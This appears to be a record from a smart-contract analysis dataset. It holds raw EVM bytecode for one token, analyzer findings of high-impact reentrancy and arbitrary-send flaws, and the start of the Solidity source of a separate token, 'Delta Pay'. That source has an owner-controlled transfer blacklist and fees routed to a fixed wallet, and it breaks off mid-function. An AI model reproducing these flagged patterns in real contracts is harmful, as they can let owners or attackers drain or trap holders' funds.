11682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5542490000000000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122051ea68a53ed9cc41b1ae0c7a13e225fdcce04cfcb422dc4568970bf2739d94f564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,979 |
0x2d575a07679143cf0215475ed3d8486c2cbdf5a8
|
/**
*Submitted for verification at Etherscan.io on 2022-03-27
*/
/*
/$$$$$$$ /$$ /$$ /$$$$$$$
| $$__ $$ | $$ | $$ | $$__ $$
| $$ \ $$ /$$$$$$ | $$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$ /$$
| $$ | $$ /$$__ $$| $$|_ $$_/ |____ $$| $$$$$$$/|____ $$| $$ | $$
| $$ | $$| $$$$$$$$| $$ | $$ /$$$$$$$| $$____/ /$$$$$$$| $$ | $$
| $$ | $$| $$_____/| $$ | $$ /$$ /$$__ $$| $$ /$$__ $$| $$ | $$
| $$$$$$$/| $$$$$$$| $$ | $$$$/| $$$$$$$| $$ | $$$$$$$| $$$$$$$
|_______/ \_______/|__/ \___/ \_______/|__/ \_______/ \____ $$
/$$ | $$
| $$$$$$/
\______/
Telegram:
https://t.me/deltapay
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DeltaPay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Delta Pay";
string private constant _symbol = "DeltaPay";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 7;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xf4Cdb03Fa34027152a72626d75f41758F98E6540);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 10 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e8 * 10**9;
uint256 public _maxWalletSize = 2e8 * 10**9;
uint256 public _swapTokensAtAmount = 1001 * 10**9;
uint256 public _minimumBuyAmount = 2e8 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
